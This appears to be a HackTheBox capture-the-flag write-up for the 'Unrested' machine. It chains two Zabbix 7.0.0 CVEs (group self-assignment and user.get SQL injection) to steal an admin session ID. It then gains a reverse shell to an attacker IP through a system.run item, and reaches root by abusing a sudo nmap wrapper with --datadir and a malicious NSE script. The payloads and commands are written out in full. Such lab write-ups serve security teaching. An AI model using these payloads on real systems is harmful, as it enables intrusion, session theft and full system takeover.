HackTheBox Unrested
Writeup for HackTheBox Unrested
Machine Synopsis
Unrested is a medium difficulty Linux
machine hosting a version of Zabbix
. Enumerating the version of Zabbix
shows that it is vulnerable to both CVE-2024-36467 (missing access controls on the user.update
function within the CUser
class) and CVE-2024-42327 (SQL injection in user.get
function in CUser
class) which is leveraged to gain user access on the target. Post-exploitation enumeration reveals that the system has a sudo
misconfiguration allowing the zabbix
user to execute sudo /usr/bin/nmap
, an optional dependency in Zabbix
servers that is leveraged to gain root
access. (Source)
As is common in real life pentests, you will start the Unrested box with credentials for the following account on Zabbix
: [matthew
/ 96qzn0h2e1k3
]
Key exploitation techniques:
- Zabbix API authentication bypass (CVE-2024-36467)
- Zabbix API SQL Injection (CVE-2024-42327)
- SQLi data exfiltration of session IDs
- Zabbix
system.run
item for remote code execution sudo /usr/bin/nmap
misconfiguration via NSE script injection
Enumeration
An nmap
scan identified SSH (22/tcp) and HTTP (80/tcp), along with Zabbix-specific ports (10050/tcp for agent and 10051/tcp for trapper).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ nmap -p- --min-rate 10000 10.10.11.50
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
10050/tcp open zabbix-agent
10051/tcp open zabbix-trapper
❯ nmap -p 22,80,10050,10051 -sC -sV 10.10.11.50
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
10050/tcp open tcpwrapped
10051/tcp open ssl/zabbix-trapper?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Accessing the web server on port 80 revealed a Zabbix instance. The Zabbix dashboard confirmed version 7.0.0
.
Researching “zabbix 7.0.0 exploit” quickly identified two relevant CVEs:
- CVE-2024-36467 (Missing Access Controls): Allows an authenticated user with API access to add themselves to any user group (e.g., Zabbix Administrators) via
user.update
endpoint, excluding disabled or restricted GUI access groups. - CVE-2024-42327 (SQL Injection): A SQL Injection exists in the
CUser
class’saddRelatedObjects
function, called byCUser.get
, accessible to any user with API access.
Here is official GitHub commit that tries to fix the issue.
Exploitation
Zabbix API Authentication
To check how we can use the API calls, we can refer to the official Zabbix documentation.
An API token was obtained for the matthew
user using the user.login
API method.
1
2
3
4
5
6
7
8
9
10
❯ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.login","params":{"username":"matthew","password":"96qzn0h2e1k3"},"id":1}' | jq
{
"jsonrpc": "2.0",
"result": "97217e8d804c125a8f41989582c0aab5",
"id": 1
}
The session ID 97217e8d804c125a8f41989582c0aab5
was obtained. The user.checkAuthentication
method confirmed matthew
’s userid
as 3
and roleid
as 1
(User role).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{
"jsonrpc": "2.0",
"method": "user.checkAuthentication",
"params": { "sessionid": "97217e8d804c125a8f41989582c0aab5" },
"id": 1
}' | jq
{
"jsonrpc": "2.0",
"result": { "userid": "3", "username": "matthew", "roleid": "1", ... },
"id": 1
}
Escalation via CVE-2024-36467 (Group Update)
CVE-2024-36467 allows users with API access to add themselves to any user group, with a specific bypass for “user cannot change own role”. An initial attempt to directly change matthew
’s roleid
failed as expected, due to Zabbix’s checkHimself
validation function. This function checks for userid
and roleid
changes, but not usrgrps
(user groups).
1
2
3
4
5
6
7
# Attempt to change roleid directly - fails.
❯ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc": "2.0", "method": "user.update", "params": {"userid": "3", "roleid": "3"}, "id": 1, "auth": "97217e8d804c125a8f41989582c0aab5"}' | jq
{ "jsonrpc": "2.0", "error": { "code": -32602, "message": "Invalid params.", "data": "User cannot change own role." }, "id": 1 }
User group IDs were identified using usergroup.get
API documentation. Groups 7
(Zabbix administrators) and 11
(Enabled debug mode) were relevant. matthew
(userid 3
) was added to these groups using user.update
via the usrgrps
parameter, bypassing the roleid
validation.
1
2
3
4
5
6
7
❯ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Authorization: Bearer 97217e8d804c125a8f41989582c0aab5' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc": "2.0", "method": "user.update", "params": {"userid": "3", "usrgrps": [{"usrgrpid":"7"},{"usrgrpid":"11"}]}, "id": 1 }' | jq
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}
This successfully added matthew
to the administrator and debug groups.
Escalation via CVE-2024-42327 (SQL Injection)
Despite group membership, matthew
still could not directly change his own role. The second vulnerability, CVE-2024-42327, an SQL injection in user.get
, was leveraged to extract administrative session IDs from the sessions
table.
A user.get
request was saved to a file (req
) for sqlmap
to analyze
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# req file content
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.10.11.50
User-Agent: curl/8.11.1
Accept: */*
Authorization: Bearer 97217e8d804c125a8f41989582c0aab5
Content-Type: application/json-rpc
Content-Length: 189
Connection: keep-alive
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"output": ["userid", "username"],
"selectRole": ["roleid", "name", "type", "readonly"]
},
"id": 1
}
sqlmap
identified a time-based blind SQL injection point in the selectRole
parameter.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ sqlmap -r req --batch
...
---
Parameter: JSON #5* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"output": ["userid", "username"],
"selectRole": ["roleid AND (SELECT 4896 FROM (SELECT(SLEEP(5)))cNOC)", "name", "type", "readonly"]
},
"id": 1
}
--- [INFO] the back-end DBMS is MySQL
...
The zabbix
database tables, specifically the sessions
table, were dumped to obtain session IDs.
1
2
3
4
5
6
7
8
9
10
11
❯ sqlmap -r req --batch -D zabbix -T sessions -dump
...
Database: zabbix
Table: sessions
[2 entries]
+--------+----------------------------------+----------------------------------+----------+------------+
| userid | sessionid | secret | status | lastaccess |
+--------+----------------------------------+----------------------------------+----------+------------+
| 1 | 0d018f2a66b16a04ad619330c51a6819 | d27ac47f8657711f7efaeeaab04f434c | 0 | 1739176681 |
| 3 | 1052039f26095bea3447e109a0302d8e | d2f9ff93070d1dab47a73bb1a203f5bb | 0 | 1739178283 |
+--------+----------------------------------+----------------------------------+----------+------------+
The session ID 0d018f2a66b16a04ad619330c51a6819
for userid 1
(Admin) was extracted.
Alternative SQLi Data Exfiltration:
Manual SQL injection can be used for more precise data extraction if
sqlmap
is not preferred or yields limited results.
1 2 3 4 5 6 7 8 9 10 { "jsonrpc": "2.0", "method": "user.get", "params": { "output": ["userid", "username"], "selectRole": ["roleid, (SELECT GROUP_CONCAT(sessionid) FROM sessions WHERE userid=1)", "name", "type", "readonly"] }, "id": 1 } # This payload directly concatenates the session ID into the output.
The extracted Admin session ID was validated with user.checkAuthentication
.
1
2
3
4
5
6
❯ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{ "jsonrpc": "2.0", "method": "user.checkAuthentication", "params": { "sessionid": "0d018f2a66b16a04ad619330c51a6819" }, "id": 1 }' | jq
{ "jsonrpc": "2.0", "result": { "userid": "1", "username": "Admin", "type": 3, "gui_access": "1", "sessionid": "0d018f2a66b16a04ad619330c51a6819", ... }, "id": 1 }
The session was confirmed to belong to Admin
.
Remote Code Execution (RCE) via Zabbix Item
With Admin privileges, a malicious Zabbix item
was created using the item.create
API method. Zabbix items can be configured to execute system commands using the system.run
key.
First, hostid
and interfaceid
for the Zabbix server were retrieved using host.get
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Authorization: Bearer 0d018f2a66b16a04ad619330c51a6819' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"host.get","params":{"output":["hostid","host"],"selectInterfaces":["interfaceid"]},"id":1}' | jq
{
"jsonrpc": "2.0",
"result": [
{
"hostid": "10084",
"host": "Zabbix server",
"interfaces": [ { "interfaceid": "1" } ]
}
],
"id": 1
}
The hostid
was 10084
and interfaceid
was 1
.
A reverse shell item
was then created.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Authorization: Bearer 0d018f2a66b16a04ad619330c51a6819' \
--header 'Content-Type: application/json-rpc' \
--data '{
"jsonrpc": "2.0",
"method": "item.create",
"params": {
"name": "revshell",
"key_": "system.run[\"bash -c \\\"bash -i >& /dev/tcp/10.10.16.23/8888 0>&1\\\"\"]",
"hostid": "10084",
"type": 0,
"value_type": 1,
"delay": "1s",
"interfaceid": "1"
},
"id": 1
}' | jq
{ "jsonrpc": "2.0", "result": { "itemids": [ "47184" ] }, "id": 1 }
A netcat
listener was set up on the attacker machine.
1
2
3
❯ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.11.50] 51066
A reverse shell was received, executing as the zabbix
user.
1
2
3
4
5
bash: cannot set terminal process group (5432): Inappropriate ioctl for device
zabbix@unrested:/$ whoami
zabbix
zabbix@unrested:/$ cat /home/matthew/user.txt
a136427136dfd9c04d95059d1ece668d
The user.txt
flag was retrieved.
Privilege Escalation: sudo /usr/bin/nmap
Abuse
Privilege escalation was attempted by examining the zabbix
user’s sudo
privileges.
1
2
3
zabbix@unrested:/$ sudo -l
User zabbix may run the following commands on unrested:
(ALL : ALL) NOPASSWD: /usr/bin/nmap *
The zabbix
user could execute /usr/bin/nmap
as root without a password. However, executing sudo nmap --interactive
failed.
1
2
zabbix@unrested:/$ sudo nmap --interactive
Interactive mode is disabled for security reasons.
Inspection of /usr/bin/nmap
revealed it was a wrapper script that restricted certain nmap
options.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
zabbix@unrested:/$ cat $(which nmap)
#!/bin/bash
#################################
## Restrictive nmap for Zabbix ##
#################################
declare -A RESTRICTED_OPTIONS=(
["--interactive"]="Interactive mode is disabled for security reasons."
["--script"]="Script mode is disabled for security reasons." # Script mode restricted
["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
["-iL"]="File input mode is disabled for security reasons."
)
for option in "${!RESTRICTED_OPTIONS[@]}"; do
if [[ "$*" == *"$option"* ]]; then
echo "${RESTRICTED_OPTIONS[$option]}"
exit 1
fi
done
exec /usr/bin/nmap.original "$@" # Executes original nmap binary
The script explicitly blacklisted --interactive
and --script
(NSE mode), which are common nmap
exploit vectors. However, the wrapper executes the nmap.original
binary and doesn’t explicitly restrict the --datadir
option.
Nmap NSE Script Injection
nmap
’s --datadir
option allows specifying an alternative directory for Nmap’s data files, including NSE scripts. This can be abused to load custom NSE scripts for RCE.
A custom NSE script (nse_main.lua
) was created in /tmp
to execute chmod 4775 /bin/bash
, making /bin/bash
a SUID binary.
1
zabbix@unrested:/$ echo 'os.execute("chmod 4775 /bin/bash")' > /tmp/nse_main.lua
The wrapper script was then executed with sudo
, using --datadir=/tmp
to load the malicious nse_main.lua
and specifying a target (localhost
) and a script scan (-sC
, a basic script category that will trigger default scripts in the --datadir
path).
1
2
3
4
zabbix@unrested:/$ sudo /usr/bin/nmap --datadir=/tmp -sC localhost
Starting Nmap 7.80 (https://nmap.org) at 2025-02-10 10:03 UTC
nmap.original: nse_main.cc:619: int run_main(lua_State*): Assertion `lua_isfunction(L, -1)' failed. # Expected error due to NSE script structure, but payload executes
bash: [5434: 2 (255)] tcsetattr: Inappropriate ioctl for device
Despite the assertion error, the nse_main.lua
script executed, setting the SUID bit on /bin/bash
.
1
2
zabbix@unrested:/$ ls -la /bin/bash
-rwsrwxr-x 1 root root 1396520 Mar 14 2024 /bin/bash
Root Access
The SUID bash
binary was then executed to gain a root shell.
1
2
3
4
5
zabbix@unrested:/$ bash -p
root@unrested:/# whoami
root
root@unrested:/# cat /root/root.txt
2d40433424e2f917fae86d4bd056cb47
The root.txt
flag was retrieved.
OPSEC for SUID Binary Creation:
Creating SUID binaries leaves a clear forensic artifact. For stealthier engagements, a direct root shell (e.g., reverse shell payload in
os.execute
) or a temporary root command execution is preferred. If a SUID binary is created, it should be reverted immediately after use.
1 2 # As root after getting the flag root@unrested:/# chmod 755 /bin/bash # Revert SUID on bash
Cleanup
To maintain operational security, any created artifacts should be removed.
1
2
3
# On target machine as root
root@unrested:/# rm /tmp/nse_main.lua
# Optionally, if the Zabbix item was not deleted earlier, delete it now.